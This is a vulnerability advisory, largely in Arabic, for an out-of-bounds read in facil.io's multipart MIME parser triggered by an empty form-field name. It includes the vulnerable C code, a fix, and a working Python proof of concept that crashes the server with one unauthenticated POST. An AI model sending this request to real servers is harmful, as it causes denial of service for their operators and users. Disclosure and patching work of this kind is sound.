
Security Advisory: Out-of-Bounds Read in facil.io MIME Parser leads to Server crash
معرّف CVE المعيّن CVE-2026-66729
المنتج: facil.io
الإصدارات المتأثرة: facil.io >= 0.6.0 (جميع إصدارات 0.6.x، جميع إصدارات 0.7.x، master)؛ تم تقديمه عند إضافة محلل MIME في الإصدار 0.6.0
المكوّن: lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-191 (تجاوز سفلي صحيح)، CWE-125 (قراءة خارج الحدود)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
الباحث: Theodosis Paidakis
يؤدي تجاوز سفلي في uint32_t في محلل جسم MIME متعدد الأجزاء إلى قراءة خارج الحدود عندما يحتوي ترويسة Content-Disposition على اسم حقل فارغ (name=;). عندما تكون name_len صفرًا، فإن name[name_len - 1] يلتف إلى name[0xFFFFFFFF]، مما يقرأ حوالي 4 غيغابايت بعد مؤشر name. يتسبب هذا في خطأ (fault) وانهيار عملية الخادم. يكفي طلب POST واحد غير مصادق عليه.
lib/facil/http/parsers/http_mime_parser.h، الأسطر 235-241
// lib/facil/http/parsers/http_mime_parser.h:235-241
} else {
name_len = (size_t)(start - name); // line 239: = 0 when start == name (e.g. "name=;")
}
if (name[name_len - 1] == '"') // line 241: (uint32_t)0 - 1 = 0xFFFFFFFF -> OOB read
--name_len;
name_len مُعرَّف كنوع uint32_t. مع الإدخال name=;، يجد memchr الفاصلة المنقوطة ; في نفس موضع name، لذا start - name = 0. طرح 1 من uint32_t قيمته صفر يلتف إلى 0xFFFFFFFF. التعبير name[0xFFFFFFFF] يحسب name_ptr + 4294967295، وهو خارج أي منطقة معيّنة (mapped region).
التحقق في السطر 236 (name[name_len - 1] == '\r') في الفرع الآخر يتبع النمط نفسه، لكن name_len هناك تُحسب كـ end - name ولا تكون صفرًا عمليًا.
شغّل الخادم، ثم نفّذ:
# poc_mime_oob_read.py
import socket
BOUNDARY = "B"
body = (
"--B\r\n"
"Content-Disposition: form-data; name=;\r\n" # empty name before semicolon
"\r\n"
"value\r\n"
"--B--\r\n"
).encode()
req = (
f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
f"Content-Type: multipart/form-data; boundary=B\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body
s = socket.socket()
s.connect(("127.0.0.1", 3000))
s.sendall(req)
print(s.recv(4096)) # no response — server crashed
print('Check the server')
مخرجات ASAN (مؤكَّدة):
AddressSanitizer: BUS at http_mime_parser.h:241
x[10] = 0x00000000FFFFFFFF
طلب واحد ينهار عملية العامل (worker). في النشر متعدد العمال يموت العامل المعالج فقط؛ ويعيد الرئيس (master) إحياءه. في وضع العامل المفرد ينقطع الخادم عن العمل. تحدث القراءة الخطأ قبل إرجاع البيانات، لذلك لا يتم إثبات تسريب المعلومات.
lib/facil/http/parsers/http_mime_parser.h، السطر 241
// lib/facil/http/parsers/http_mime_parser.h:241 — add zero guard
if (name_len > 0 && name[name_len - 1] == '"')
--name_len;